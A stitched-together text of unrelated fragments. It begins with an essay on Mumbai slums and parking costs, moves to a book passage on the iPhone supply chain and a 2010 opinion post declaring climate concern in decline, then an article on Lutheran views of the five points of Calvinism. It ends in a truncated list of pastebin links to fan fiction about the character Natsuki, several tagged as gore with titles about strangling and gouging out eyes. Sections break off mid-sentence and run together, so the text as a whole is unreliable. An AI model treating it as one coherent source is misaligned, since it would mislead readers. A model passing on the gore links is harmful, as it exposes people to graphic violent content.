Over half of Mumbai's population live in slums. This is inevitable, because Mumbai's 'building height' and'rent control' regulations are among the most stringent in the world. The Indian government wants to make homes affordable, but the government does not sufficiently recognize that slums are a form of affordable dwelling units in urban areas, where formal settlements are beyond the reach of most people.
Infographic by Sandeep Bhatnagar
People in Mumbai's slum have incomes much higher than that of average Indian citizens. In slum, for instance, the total annual turnover is nearly USD 500 million. The per capita income of residents of Dharavi slums range between USD 500 and USD 2,000, which is above average, by Indian standards.
One could buy a formal dwelling unit 30 km far from the CBD in Mumbai for the same price at which one buys a similar informal settlement unit near the CBD. People live in informal settlements because they provide access to Mumbai's job markets and amenities, even at the cost of living in an informal settlement. By building affordable residential projects, governments often move them away from the city center.
Infographic by Sandeep Bhatnagar
Roads, highways, and railroad lines form a significant fraction of a city's land. But, roads are often used by people and vehicles free of cost, without giving much thought to the costs they impose on everyone else in the city. Even though a parked car consumes 14 sq mt of space in Mumbai, the daily car parking charge in Mumbai's CBD is merely USD 1.11. Even after adjusting for income levels, this is extremely low by global standards.
In London, it is USD 65.97 and in New York, it is USD 40. This is valuable land, which is almost as expensive as land in London or Tokyo. Moreover, a parked vehicle consumes the space of 8 people in Mumbai, while in New York Mid town, it occupies the space of.42 people. If you consider everything that a street's side-walks offer, this is a wastage of valuable real estate. Moreover, Mumbai's roads are extremely congested. Congested roads raise commuting time, adversely affecting a city's labour markets, freezing many people into fixed social classes.HarperCollins
Cracking open my iPhone 6 Plus—Apple’s version of the big-screen “phablet”—reveals not just a marvel of globally sourced miniaturization but also a high-tech road map that touches just about everywhere.
Along with the processor and graphics chipset and the rechargeable battery (the most massive internal part), there is a long list of individually sourced components: two cameras, a video recorder, a digital compass, a satellite-navigation system, a barometer, a fingerprint scanner, a high-resolution color display, an LED flashlight, touch sensors, a stereo system, a motion sensor/game controller, encryption circuits, an array of radio transmitters that connect via WiFi, Bluetooth and near-field communication bands, and, last and also least, the guts of a cellular telephone.
At least two dozen primary suppliers on three continents and two islands (Japan and Taiwan) provide these parts.
The transportation complexity is magnified further because many components do not move in a simple path from supplier to final assembly. Some go on a hopscotching world tour from one country to the next and back again as one piece is joined to another to create an assembly, which is then moved elsewhere in the world for another part to be inserted or attached.
The phone’s innards are put together much as a cook assembles ingredients for a dish that becomes, in turn, a component of another chef’s course, which is then incorporated by someone else into a larger meal. Ingredients move back and forth from high-tech equivalents of refrigerator, cutting board, stove, and plate.
The fingerprint sensor embedded in the iPhone’s home button—Apple’s Touch ID system, which allows a fingerprint scan to replace a typed password—is a good example of this sort of Top Chef supply itinerary.
The home button journey begins in Hunan province, China, at a company called Lens Technology, Ltd., in the city of Changsha, where superhard transparent artificial sapphire crystal is fashioned into the button cover. This is the part of the button an iPhone user physically touches, made of the same synthetic sapphire used in high-end watches, avionics displays, and missile systems because of its near–diamond-like hardness, durability, and scratch resistance.
The sapphire cover is then bonded to a metal trim ring brought 550 miles from the LY Technology factory in Jiangsu province, and then shipped 1,000 miles to the Dutch-owned NXP Semiconductors assembly and testing plant in Kaohsiung, Taiwan. There the sapphire-metal ring combo is married to a driver chip imported from a Shanghai factory (another 600 miles) and a Touch ID sensor |
cean mitigation policies in the U.S. and abroad. trend toward abject panic over climate change seems to have reversed course. For all intents and purposes,– which I define as the reflexive tendency to assume worst-case scenarios generated by climate models are automatically true (and to enact public policy based on that belief) – is locked into a death spiral. The public policy implication is profound: substituting adaptation and wealth creating strategies for tears-in-the-ocean mitigation policies in the U.S. and abroad.
On the political front:
The IPCC’s reputation as a serious scientific institution continues to hemorrhage as a nearly endless string of errors and/or bad practices relating to the Fourth Assessment Report come to light.
As Newsweek put it recently,
Some of the IPCC’s most-quoted data and recommendations were taken straight out of unchecked activist brochures, newspaper articles, and corporate reports—including claims of plummeting crop yields in Africa and the rising costs of warming-related natural disasters, both of which have been refuted by academic studies.
Further, Newsweek opines, the case for policy-development based on climate alarmism is also off the rails,
There are excellent reasons to limit emissions and switch to cleaner fuels—including an estimated 750,000 annual pollution deaths in China, the potential to create jobs at home instead of enriching nasty regimes sitting on oil wells, the need to provide cheap sources of power to the world’s poorest regions, and the still-probable threat that global warming is underway. At the moment, however, certainty about how fast—and how much—global warming changes the earth’s climate does not appear to be one of those reasons.
Internationally, things are not much better for the alarmists. The negotiations in Copenhagen were a complete shambles, resulting only in a non-binding, let’s-meet-again memorandum that the various participating countries “recognized” having seen.
Greenpeace activist, and Independent Commentator Joss Garman characterized the “Copenhagen Accord” thus:
This “deal” is beyond bad. It contains no legally binding targets and no indication of when or how they will come about. There is not even a declaration that the world will aim to keep global temperature rises below 2 C. Instead, leaders merely recognise the science behind that vital threshold, as if that were enough to prevent us crossing it. The only part of this deal that anyone sane came close to welcoming was the $100bn global climate fund, but it’s now apparent that even this is largely made up of existing budgets, with no indication of how new money will be raised and distributed so that poorer countries can go green and adapt to climate change.
In the EU, the vaunted European Trading System continues to come apart at the seams. According to James Kanter at the NYT:
Carbon traders, for example, have been arrested for tax fraud; evidence has emerged of lucrative projects that may do nothing to curb climate change; and steel and cement companies have booked huge profits selling surplus permits they received for free.
And the EU is backing away from previous plans to tighten its carbon reduction targets. According to Greenwire,
For months, Europe has mulled whether to increase to 30 percent its current commitment to reduce CO2 emissions 20 percent from 1990 levels by 2020. E.U. leaders in Brussels, including the bloc’s climate chief, Connie Hedegaard, have seemed to favor such a commitment, while influential member states like Germany and France have expressed skepticism of such a pledge without binding support from other major industrial powers like the United States. A study, released today by the European Commission, expresses concern that Europe’s trading system for limiting emissions will remain less effective than planned without reductions in carbon allowances over the next decade. But addressing that problem may have to take a back seat for now, Hedegaard said.
Meanwhile, here in the U.S., climate alarmism has sunk so low that Senator John Kerry risks choking himself to death as he ties his tongue into knots to pretend that his climate bill, the misleadingly named “American Power Act,” is not a climate bill. Depending on the date, Senator Kerry disingenuously characterizes as a job creation bill, or a bill to end dependency on foreign oil, or as a bill to rejuvenate the moribund US nuclear energy sector…or anything but what it is, which is a bill full of direct and indirect taxes on carbon: that is, on coal, natural gas, oil, and gasoline.
Pundits give the bill little chance of passage in this Congress, and if Democrats take anything like the whuppin’ they’re expected to get in November, I wouldn’t look for a reprise of the “American Power Act” any time soon. [Personal note to Senator Kerry: Dear Senator, will you please stop perpetuating the fiction that you can create jobs by forcing up the cost of power (and making it less reliable) in the United States. All you’re going to do with your fraudulently titled climate bill is kill jobs, reduce economic growth, export more of America’s industrial base to other countries, and perpetuate the misery of this lackluster economy. Even worse, you’ll hurt the people you claim as your primary constituency – the poor – more than the wealthy, as the poor spend more of their budget on energy than those with greater wealth.]
On the regulatory front,
EPA continues to face opposition to regulation of the greenhouse gases under the Clean Air Act. On June 10, a resolution authored by Senator Lisa Murkowski (and co-sponsored by 38 others including 3 Democrats) will be voted on. The resolution concludes that it is:
Resolved by the Senate and House of Representatives of the United States of America in Congress assembled, That Congress disapproves the rule submitted by the Environmental Protection Agency relating to the endangerment finding and the cause or contribute findings for greenhouse gases under section 202(a) of the Clean Air Act (published at 74 Fed. Reg. 66496 (December 15, 2009)), and such rule shall have no force or effect.
Finally, on the public opinion front,
Poll numbers continue to decline when it comes to people expressing serious concern about climate change, or willingness to pay anything to remedy it.
The New York Times points out that public belief levels are plummeting even in Jolly Old Britain, (and not-so-jolly old Germany) both of which have been, until recently, seething hotbeds of climate alarmism:
Nowhere has this shift in public opinion been more striking than in Britain, where climate change was until this year such a popular priority that in 2008 Parliament enshrined targets for emissions cuts as national law. But since then, the country has evolved into a home base for a thriving group of climate skeptics who have dominated news reports in recent months, apparently convincing many that the threat of warming is vastly exaggerated. A survey in February by the BBC found that only 26 percent of Britons believed that “climate change is happening and is now established as largely manmade,” down from 41 percent in November 2009. A poll conducted for the German magazine Der Spiegel found that 42 percent of Germans feared global warming, down from 62 percent four years earlier.
Our “paper of record,” also observes that
The lack of fervor about climate change is also true of the United States, where action on climate and emissions reduction is still very much a work in progress, and concern about global warming was never as strong as in Europe. A March Gallup poll found that 48 percent of Americans believed that the seriousness of global warming was “generally exaggerated,” up from 41 percent a year ago.
Conclusion
My colleague, Steve Hayward, thinks that future historians will peg 2008 as the year that climate alarmism jumped the shark. If so, it’s clear that in 2010, the Fonz is on the sharp declining phase of the jump, headed back down to the water. On every front, climate alarmists are losing, from international negotiations, to domestic legislation, to public opinion. Even the UK’s Royal Society is being forced to reconsider their position on climate change.
We can hope that climate alarmism will be replaced by a new era of climate realism, where the focus is on fostering resilience: building institutions, and helping other countries build institutions that would give them resilience in the face of any sort of climate change, manmade or natural, modest or major. Instead, however, my guess is this won’t happen. The alarmists are unable to give up the sense of panic they need to preserve to promote radical policies. And, to be fair, there is such polarization on the part of climate skeptics that even we climate moderates come in for some slapping around when we admit a vague possibility that humans could cause even modest harm via our influence on the climate. There is little appetite on either side for moderation or realism.
Instead, what I suspect will happen is that the entire issue of climate change will go sub rosa, and be embedded in discussions of energy, sustainability, energy security, renewable energy, protecting biodiversity, or anything that lacks the words “climate change” in the title.During the years I’ve taught at Trinity Evangelical Divinity School, I’ve frequently been asked whether Luther was a Calvinist. The answer, of course, is no. Calvinism didn’t emerge until the end of Luther’s life. Arminianism emerged long after Luther had passed away. So Luther himself never engaged the controversy that divided Reformed Protestantism after the Reformation.
It’s true: Calvin was called a Lutheran in the early years of his ministry. And there are notable similarities between the two. But as the Reformed movement grew, it grew apart from Lutheranism in some noteworthy ways. And as Lutheran thought developed during and after the Reformation, Lutherans leaned toward Arminians more than Calvinists on a few of the doctrinal issues that divided the latter groups.
So perhaps it’s worth a minute or two to walk through the ways in which Lutherans came down on the five “points” of Calvinism. We should all understand by now that there’s far more to Calvinism than five simple points, that the five points themselves were sharpened after Calvin’s death, and that some think that Calvin himself did not affirm them all. So Calvinist friends, hold your fire. The goal here is not to oversimplify your faith, but to scan the ways that leading early Lutherans addressed the matters fought about most fiercely at the Reformed Synod of Dordt (1618–1619), and in the subsequent debates between Calvinists and Arminians.
Four Branches
Before we attack this matter directly, let me take just a minute to remind us that, technically speaking, the debate between Calvinists and Arminians really divided but a minority of the early Protestant world.
Despite the tendency of some to assume that all evangelicals fall somewhere on the continuum between Calvinism and Arminianism, it is important to remember that there were four main branches of the Protestant Reformation—Lutheran, Reformed, Anabaptist, and Church of England—and that Calvinists and Arminians were on the same branch (though their controversy would captivate the Church of England as well, and was foreshadowed by developments in the doctrine of the English Reformation).
These branches parted gradually over the course of the 16th century. It wasn’t until the mid-to-late 16th century, for example, that the lines between the Lutherans and the Reformed were drawn clearly. And it wasn’t until the late 16th and early 17th centuries that the lines were drawn starkly between the Calvinists and Arminians.
Arminianism emerged on the Reformed branch of Protestantism. Arminius and his followers considered themselves to be Reformed. They said they wanted to reform Reformed Protestant theology in response to what they deemed unhealthy Calvinist extremes.
Nevertheless, the Synod of Dordt changed the equation once and for all—and eventually affected people all over the Protestant world. So without any further ado, here’s where the Lutherans came down on the poorly named five points of Calvinism.
Lutherans and the Five Points of Calvinism
I’ll take this question point by point, offering evidence from reliable and accessible translations of classic Lutheran texts and confessions: the American edition of Luther’s Works, ed. Jaroslav Pelikan, Helmut T. Lehmann et al. (Concordia Publishing House and Fortress Press, 1957); the latest English edition of the Lutheran Book of Concord, ed. Robert Kolb and Timothy J. Wengert (Fortress Press, 2000), which contains all the authoritative Lutheran confessions, such as the Augsburg Confession and the Formula of Concord; and Heinrich Schmid, The Doctrinal Theology of the Evangelical Lutheran Church, 3d ed., trans. Charles A. Hay and Henry E. Jacobs (Augsburg Publishing House, 1899), a compendium of Lutheran scholastic theology. These are exceptionally important Protestant theological sources, which should be read and used frequently by evangelical leaders.
Bear in mind that we are barely scratching the surface in this article. This is a skeletal presentation based on selected representatives of early Lutheran thought. Most Lutherans use the Lutheran confessions when interpreting Bible doctrines such as these. But there is diversity of opinion on the relative weight and authority of the other materials I quote below.
Total Depravity
Yes, but let’s be careful to articulate this point carefully:
Augsburg Confession (1530), Art. 2: “since the fall of Adam, all human beings who are born in the natural way are conceived and born in sin. This means that from birth they are full of evil lust and inclination and cannot by nature possess true fear of God and true faith in God. Moreover, this same innate disease and original sin is truly sin and condemns to God’s eternal wrath all who are not in turn born anew through baptism and the Holy Spirit.”
Formula of Concord (1577), Epitome, Art. 1: “original sin is not a slight corruption of human nature, but rather a corruption so deep that there is nothing sound or uncorrupted left in the human body or soul”
Formula of Concord, Solid Declaration, Art. I: “we... reject and condemn those who teach that human nature has indeed been greatly weakened and corrupted through the fall but has not completely lost all good that pertains to divine, spiritual matters.”
The Lutherans continued to distinguish between human nature itself (as created) and human nature as fallen and harmed by devastating sinful qualities. After a debate surrounding the quirky views of Lutheran Matthias Flacius, they concluded that original sin should not be described as the formal/forming substance of fallen human souls, but as an accidental quality of them (most Calvinists agreed): “as far as the Latin words substantia and accidens are concerned, the churches should best be spared these terms in public preaching to the uninstructed, because such words are unfamiliar to the common people.” Nevertheless, “when someone asks whether original sin is a substance (that is, the kind of thing that exists in and of itself and not in another thing) or an accidens (that is, the kind of thing which does not exist in and of itself but exists in something else and cannot exist or be simply in and of itself), necessity compels us to confess clearly that original sin is not a substance but an accidens.”
Again, though, the 16th-century Lutherans insisted that original sin has tragically distorted our souls: “the use of the word accidens, when explained on the basis of God’s Word, does not minimize original sin.... Luther used the word accidens and also the word qualitas, and he did not reject them. But with the use of these words he very carefully explained and clarified in as many ways as possible what a horrible quality and accidens it is that not only made human nature impure but also so deeply corrupted it that nothing pure and uncorrupted remained in it.”
Unconditional Election
Yes and no (and not double predestination).
Luther, Bondage of the Will (1525), 7.18: “I frankly confess that, for myself, even if it could be, I should not want 'free-will' to be given me, nor anything to be left in my own hands to enable me to endeavor after salvation; not merely because in face of so many dangers, and adversities, and assaults of devils, I could not stand my ground and hold fast my 'free-will'...; but because, even were there no dangers, adversities, or devils, I should still be forced to labor with no guarantee of success, and to beat my fists at the air. If I lived and worked to all eternity, my conscience would never reach comfortable certainty as to how much it must do to satisfy God. Whatever work I had done, there would still be a nagging doubt as to whether it pleased God, or whether he required something more. The experience of all who seek righteousness by works proves that; and I learned it well enough myself over a period of many years, to my own great hurt. But now that God has taken my salvation out of the control of my own will, and put it under the control of his, and promised to save me, not according to my working or running, but according to his own grace and mercy, I have the comfortable certainty that he is faithful and will not lie to me, and that he is also great and powerful, so that no devils or opposition can break him or pluck me from him.... Thus it is that, if not all, yet some, indeed many, are saved; whereas, by the power of 'free-will' none at all could be saved, but every one of us would perish.
Formula of Concord, Solid Declaration, Art. 11: “Our election to eternal life does not rest upon our righteousness or virtues but solely on Christ’s merit and the gracious will of his Father, who cannot deny himself.... Therefore, it is false and incorrect to teach that not only the mercy of God and the most holy merit of Christ but also something in us is a cause of God’s election, and for this reason God chose us for eternal life.” However, the Formula continues, “this teaching gives no one cause either for faintheartedness or for a brazen, dissolute life. For this teaching excludes no repentant sinners. Instead, it calls and draws all poor, burdened, and troubled sinners to repentance, to the recognition of their sins, and to faith in Christ.... Accordingly, whoever conveys this teaching concerning the gracious election of God in such a way that troubled Christians gain no comfort from it but are thrown into despair by it, or in such a way that the impenitent are strengthened in their impudence, then it is undoubtedly certain and true that this teaching in not being presented according to God’s Word and will.”
Formula of Concord, Epitome, Art. 11: “A Christian should only think about the article of God’s eternal election to the extent that it is revealed in God’s Word.... In Christ we are to seek the Father’s eternal election. He has decreed in his eternal, divine counsel that he will save no one apart from those who acknowledge his Son Christ and truly believe in him.”
As we move from Luther himself and the Lutheran confessions toward more modern Lutheran thinkers, some teach that election is conditioned on foreseen faith.
David Hollaz (1646-1713, of Jacobshagen and Colberg), as quoted in Heinrich Schmid, Doctrinal Theology of the Evangelical Lutheran Church, p. 272: “Predestination is the eternal decree of God to bestow eternal salvation upon all of whom God foresaw that they would finally believe in Christ.”
Johann Quenstedt (1617-1688, of Wittenberg), as quoted in Schmid, pp. 288-89:
Faith, and that, too, as persevering or final faith, enters into the sphere of eternal election, not as already afforded, but as foreknown. For we are elected to eternal life from faith divinely foreseen, apprehending, to the end, the merit of Christ; (b) Faith enters into election not by reason of any meritorious worth, but with respect to its correlate, or so far as it is the only means of apprehending the merit of Christ; or, in other words, faith is not a meritorious cause of election, but only a prerequisite condition, or a part of the entire order divinely appointed in election.
Early Lutheran disagreements on the doctrine of election were debated famously in late 19th- and 20th-century America, where Lutherans divided from one another over whether God elects “unto” faith or “in view of” faith. This American debate usually revolved around the questions whether and how God elects intuitu fidei (in view of faith, or in view of the faith that God himself grants to those he saves). Lutherans of the Ohio Synod, led by F. A. Schmidt of the Ohio Synod Seminary in Columbus, maintained the teaching of many 17th-century Lutheran scholastic theologians that God elects in view of the faith that he foresees in the repentant. Lutherans of the Missouri Synod, led by C. F. W. Walther and Franz Pieper, argued that election is not based on or conditioned by anything that we do, nor any merit of our own. The Ohioans blamed the Missourians of crypto-Calvinism, and of teaching that God does not desire the salvation of all or even seriously/effectively offer his saving grace to the lost. The Missourians accused the Ohioans of works righteousness.
Limited Atonement
No (though Luther himself was inconsistent).
Luther and other early Lutherans usually taught a general doctrine of the atonement (a view codified in the Book of Concord).
Early in his life, during his lectures on Romans (1516), Luther made a famous statement affirming a limited atonement, one that Calvinists like Timothy George have used to argue that Luther was with Calvin on this issue. As we have seen above, moreover, Luther believed in unconditional, particular election. He believed that the elect alone would be saved on the basis of the atoning work of Christ. But his usual tendency, especially later in his life, was to stress the Scripture promise that whosoever repents and believes will be saved, that it is not salutary to seek the hidden decrees of God, and that the atoning work of Christ was broad and powerful enough to cover the sins of the whole world. He worried far more often about biblical consistency and pastoral utility than about logical precision. Modern Calvinists have often charged him with logical inconsistency (though he was certainly not the first to favor an asymmetrical layout of these issues).
Here’s the famous early affirmation of limited atonement:
Luther, Lectures on Romans (1515-1516), from the scholia at Rom. 15:33 (“Now the God of peace be with you all,” LW 25:375–76): “The second argument [against predestination] is that ‘God desires all men to be saved’ (1 Tim. 2:4).... these verses must always be understood as pertaining to the elect only, as the apostle says in 2 Tim. 2:10 ‘everything for the sake of the elect.’ For in an absolute sense Christ did not die for all, because he says: ‘This is my blood which is poured out for you’ and ‘for many’—he does not say: for all—‘for the forgiveness of sins’ (Mark 14:24, Matt. 26:28).”
Here are some later, more definitive statements of Luther:
Luther, Bondage of the Will (1525), 4.12: “We say, as we have said before, that the secret will of the Divine Majesty is not a matter for debate, and the human temerity which with continual perversity is always neglecting necessary things in its eagerness to probe this one, must be called off and restrained from busying itself with the investigation of these secrets of God’s majesty, which it is impossible to penetrate because he dwells in light inaccessible, as Paul testifies [1 Tim. 6:16]. Let it occupy itself instead with God incarnate, or as Paul puts it, with Jesus crucified, in whom are all the treasures of wisdom and knowledge, though in a hidden manner [Col. 2:3]; for through him it is furnished abundantly with what it ought to know and ought not to know. It is God incarnate, moreover, who is speaking here: “I would... you would not”—God incarnate, I say, who has been sent into the world for the very purpose of willing, speaking, doing, suffering, and offering to all men everything necessary for salvation.... It is likewise the part of this incarnate God to weep, wail, and groan over the perdition of the ungodly, when the will of the Divine Majesty purposely abandons and reprobates some to perish. And it is not for us to ask why he does so, but to stand in awe of God who both can do and wills to do such things.”
Luther, “Sermon for the First Sunday in Advent, 1533,” in Day by Day We Magnify You: Daily Readings for the Entire Year Selected from the Writings of Martin Luther, rev. ed., p. 10: “[Christ] helps not against one sin only but against all my sin; and not against my sin only, but against the whole world's sin. He comes to take away not sickness only, but death; and not my death only, but the whole world's death.”
Luther and Melanchthon to the Council of the City of Nürnberg, April 18, 1533, a letter that speaks into the controversy in Nürnberg over private vs. public confession of sins in the church, in LW 50:76-77:
Even if not all believe [the word of absolution], that is not reason to reject [public] absolution, for each absolution, whether administered publicly or privately, has to be understood as demanding faith and as being an aid to those who believe in it, just as the gospel itself also proclaims forgiveness to all men in the whole world and exempts no one from this universal context. Nevertheless the gospel certainly demands our faith and does not aid those who do not believe it; and yet the universal context of the gospel has to remain [valid].
Luther, Sermons on the Gospel of St. John (1537), at John 1:29, in LW 22:169: “There is nothing missing from the Lamb. He bears all the sins of the world from its inception; this implies that He also bears yours, and offers you grace.”
Now the Lutheran doctrine as codified later on:
Formula of Concord, Solid Declaration, Art.11: “if we want to consider our eternal election to salvation profitably, we must always firmly and rigidly insist that, like the proclamation of repentance, so the promise of the gospel is universalis, that is, it pertains to all people (Luke 24:47). Therefore, Christ commanded preaching ‘repentance and the forgiveness of sins in his name to all nations.’ ‘For God so loved the world that he gave his only Son’ for it (John 3:16). Christ has taken away the sins of the world (John 1:29); his flesh was given ‘for the life of the world’ (John 6:51); his blood is ‘the atoning sacrifice for... the whole world’ (1 John 1:7; 2:2). Christ said, ‘Come to me, all you that are weary and are carrying heavy burdens, and I will give you rest’ (Matt. 11:28). ‘God has imprisoned all in unbelief, that he might have mercy on all’ (Rom. 11:32). ‘The Lord does not want any to perish but all to come to repentance’ (2 Peter 3:9). He is ‘Lord of all and is generous to all who call on him’ (Rom. 10:21). ‘Righteousness’ comes ‘through faith in Christ’ to all and ‘for all who believe’ (Rom. 3:22).’This is the will of the Father, that all who... believe in Christ shall have eternal life’ (John 6:39, 40).... We should never regard this call from God, which takes place through the preaching of the Word, as some kind of deception. Instead, we should know that God reveals his will through it, namely, that he wills to work through his Word in those whom he has called, so that they may be enlightened, converted, and saved.”
Johann Quenstedt, as quoted by Schmid, p. 363: “The personal object [of Christ’s satisfaction for sin] comprises... each and every sinful man, without any exception whatever. For he suffered and died for all, according to the serious and sincere good pleasure and kind intention of himself and God the Father, according to which he truly wills the salvation of each and every soul, even of those who fail of salvation.”
Johann Gerhard (1582-1637, of Jena), as quoted in Schmid, p. 363: “If the reprobate are condemned because they do not believe in the Son of God, it follows that to them also the passion and death of Christ pertain. For otherwise, they could not be condemned for their contempt of that which, according to the divine decree, does not pertain to them.”
Bear in mind that, as shown in recent work by Jonathan Moore, Richard Muller, and other scholars (who disagree amongst themselves regarding the finer points at issue), early Reformed understandings of the scope of the atonement were more complicated than many people assume. There were so-called hyper-Calvinists and, later, some promoters of what in the United States was called “Gethsemane doctrine” (because of Jesus’ prayer in Gethsemane “not for the world, but for them which thou hast given me,” John 17:9) who denied that Christ intended to die for any but the elect. But most early Calvinists tried to affirm at least the “sufficiency” of Christ’s atoning work to cover the sins of the whole world. Many others were hypothetical universalists who taught unconditional election and unlimited atonement simultaneously. See Jonathan D. Moore, English Hypothetical Universalism: John Preston and the Softening of Reformed Theology (Eerdmans, 2007); Richard A. Muller, Calvin and the Reformed Tradition: On the Work of Christ and the Order of Salvation (Baker Academic, 2012); and Douglas A. Sweeney, Nathaniel Taylor, New Haven Theology, and the Legacy of Jonathan Edwards (Oxford University Press, 2003), p. 107.
Irresistible Grace
In Bondage of the Will, 2.8, Luther denies that God compels or forces people to convert: “When God works in us, the will is changed under the sweet influence of the Spirit of God.... it desires and acts, not of compulsion, but of its own desire and spontaneous inclination.” But, of course, the most famous (or notorious) thing about his Bondage of the Will is Luther’s denial that we initiate this change: “our salvation is not of our own strength or counsel, but depends on the working of God alone.” Further, “man’s will is like a beast standing between two riders. If God rides, it wills and goes where God wills.... If Satan rides, it wills and goes where Satan wills. Nor may it choose to which rider it will run, or which it will seek; but the riders themselves fight to decide who shall have and hold it” (2.8).
Toward the end of his life, Luther tried to clarify a misunderstanding regarding language such as this in his Bondage of the Will. Early in 1542, while lecturing on Genesis 26:9, he digressed from the verse itself in the following manner:
I hear that here and there among the nobles and persons of importance vicious statements are being spread abroad concerning predestination or God’s foreknowledge. For this is what they say: “If I am predestined, I shall be saved, whether I do good or evil. If I am not predestined, I shall be condemned regardless of my works.” I would be glad to debate in detail against these wicked statements if the uncertain state of my health made it possible for me to do so. For if the statements are true, as they, of course, think, then the incarnation of the Son of God, his suffering and resurrection, and all that he did for the salvation of the world are done away with completely. What will the prophets and all Holy Scripture help? What will the sacraments help? Therefore let us reject all this and tread it underfoot.
Luther went on to say that people should stop attempting—arrogantly—to plumb the depths of the mind of God, and should focus instead on the way of salvation God has graciously revealed. He warned that the devil often leads us to despair of our salvation by prompting us to ponder predestination. But God’s thoughts are not our thoughts, he said (Is. 55). His ways are not our ways. So we should trust and obey the things that he has condescended to give us. “God reveals his will to us through Christ and the gospel. But we loathe it and, in accordance with Adam’s example, take delight in the forbidden tree above all the others.”
Beginning in the last year of Luther’s life (1546), a similar caveat was added to the Bondage of the Will, although we don’t know for sure if Luther authorized it:
I could wish indeed that another and a better word had been introduced into our discussion than this usual one, “necessity,” which is not rightly applied either to the divine or the human will. It has too harsh and incongruous a meaning for this purpose, for it suggests a kind of compulsion, and the very opposite of willingness, although the subject under discussion implies no such thing. For neither the divine nor the human will does what it does, whether good or evil, under any compulsion, but from sheer pleasure or desire, as with true freedom.... The reader’s intelligence must therefore supply what the word “necessity” does not express, by understanding it to mean what you might call the immutability of the will of God and the impotence of our evil will, or what some have called the necessity of immutability though this is not very good either grammatically or theologically.
The best book in English on this thorny set of issues in early Lutheran dogmatics is Robert Kolb, Bound Choice, Election, and Wittenberg Theological Method: From Martin Luther to the Formula of Concord (Eerdmans, 2005).
Formula of Concord, Solid Declaration, Art. 2: “people resist God the Lord with their will until they are converted.... they resist the Word and will of God until God awakens them from the death of sin and enlightens and renews them. Although God does not force human beings in such a way that they must become godly (for those who persistently resist the Holy Spirit and stubbornly struggle against what is recognized truth, as Stephen said of the obdurate Jews in Acts 7:51, will not be converted), nonetheless God the Lord draws those people whom he wants to convert and does so in such a way that an enlightened understanding is fashioned out of a darkened understanding and an obedient will is fashioned out of a rebellious will. Scripture calls this creating a new heart.... God makes willing people out of rebellious and unwilling people through the drawing power of the Holy Spirit, and... after this conversion of the human being the reborn will is not idle in the daily practice of repentance but cooperates in all the works of the Holy Spirit that he accomplishes through us.”
Leonhard Hutter (1563-1616, of Wittenberg), as quoted in Schmid, p. 475:
There have been those who asserted that the will of unregenerate man in conversion is in a hostile attitude, so that the Holy Spirit effects conversion by violent drawings, or by a kind of force, in those who are unwilling and resisting. This opinion has elements of both truth and falsehood in it. For it is true that the natural man can do nothing of himself but resist the Holy Spirit.... Thus it is also true, that some have been converted when they were violently raging against God. But what is hence inferred is most false, viz., that they were converted while repugnant and reluctant. For it is most certain that they in whom this resistance does not cease never are converted to God.... Others answer, that man in conversion not only does nothing, but is converted while unconcerned and not knowing what is being done with him. This opinion manifestly savors of Enthusiasm.... For, although unregenerate man cannot know of himself and of his own powers what is being done with him, yet the Holy Spirit removes this stupor and illuminates his mind, so that now he knows what is being done with him and yields his consent to the Holy Spirit.
Perseverance of the Saints
No, not in the way that many assume.
Luther, Smalcald Articles (1537), 3.3: “it is necessary to know and teach that when holy people—aside from the fact that they still have and feel original sin and also daily repent of it and struggle against it—somehow fall into a public sin (such as David, who fell into adultery, murder, and blasphemy against god), at that point faith and the Spirit have departed.”
Formula of Concord, Solid Declaration, Art. II: “if the baptized act against their conscience, permit sin to reign in them, and thus grieve the Holy Spirit in themselves and lose him, then, although they may not be rebaptized, they must be converted again”
David Hollaz, as quoted in Schmid, p. 465: “The grace of regeneration is lost when sins subversive of conscience are deliberately committed (1 Tim. 1:19). But regeneration lost may be recovered by the penitent (Gal. 4:19). Men regenerate, aided by the preserving grace of God, should be carefully on their guard, lest, by the malicious repetition of sin, they do injury to conscience; but if, nevertheless, they are overcome by the machinations of the devil, the enticements of the world, and the suggestions of the flesh, and fall three or four times, or oftener, into mortal sin, they need not at all doubt of |
ping Natsuki! by GuroAnon (Guro): https://pastebin.com/jS8WQjyG Gouging Out Natsuki's Eyes! by GuroAnon (Guro): https://pastebin.com/4DNrkMHH Baking with Natsuki! by GuroAnon (Guro): https://pastebin.com/sZLZCsAr Strangling Natsuki! by GuroAnon (Guro): https://pastebin.com/nYqgcv69 Deceiving Natsuki! by GuroAnon (Guro): https://pastebin.com/CkBfduSJ Following Natsuki! by GuroAnon (Guro): https://pastebin.com/eWFLN8zL Beating Natsuki! by GuroAnon (Guro): https://pastebin.com/CN5MrtYk Snow and Shelter by TroubledWriterAnon (Not Lewd): https://pastebin.com/piXzFkx3 Succubus' Snack by Hypnoficanon (Lewd): https://pastebin.com/6ATWr0Fc Bedtime with Natsuki by Purelife (Not Lewd): https://pastebin.com/QSBBuTev Cuddles by Anonymous (Not Lewd): https://pastebin.com/EjLuwk0Z A Walk in the Park with Natsuki by Purelife (Not Lewd): https://pastebin.com/S78d999J It's Just Business by MonikawithChocolate (Not Lewd): https://pastebin.com/WZUNWrJK Roller Skating with Natsuki by Purelife (Not Lewd): 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(Not Lewd): https://pastebin.com/XjBFnxSX Natsuki Starts a Recommendation Thread by Natsunon (Not Lewd, Shitpost): https://pastebin.com/qxzitL6W Natsukhristmas by Bosstones (Not Lewd): https://pastebin.com/Uj2nFT2V A Fairly Good Date by Bosstones (Not Lewd): https://pastebin.com/1wnGFW4e Natsukhristmas Part 2: White Christmas by Bosstones (Lewd): https://pastebin.com/PkguRsiy Natsuki and Anon, Day 400 by Natsunon (Not Lewd): https://pastebin.com/Hr75dm2g Winter's Relief by Anonymous (Not Lewd): https://pastebin.com/STMMp6PS Yuri and Natsuki: Yuri x Natsuki: Foreplay (1/2) by RenaissanceAnon (Lewd): https://pastebin.com/m7sJLXPY Yuri x Natsuki: Becoming (2/2) by RenaissanceAnon (Lewd): https://pastebin.com/jS17T9k0 NatsuYuri Feeding by Anonymous (Lewd): https://pastebin.com/xxtB0Fgv Afterschool Snack by A Turnip (Lewd): https://pastebin.com/cBJxqPxp NatsuYuri Feeding Part 2 by Anonymous (Lewd): https://pastebin.com/rT9auDs3 NatsuYuri Feeding Part 3 by Anonymous (Lewd): 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by EggWaffle (Not Lewd, Violent): https://pastebin.com/1dhHXp8z Mama Yuri by EggWaffle (Not Lewd, Violent): https://pastebin.com/vr8mCY09 Natsuki and Yuri Take the Bus Home by SuperStoryFunTime (Not Lewd): https://pastebin.com/KZw2rVwE Sayori and Natsuki: Baking with 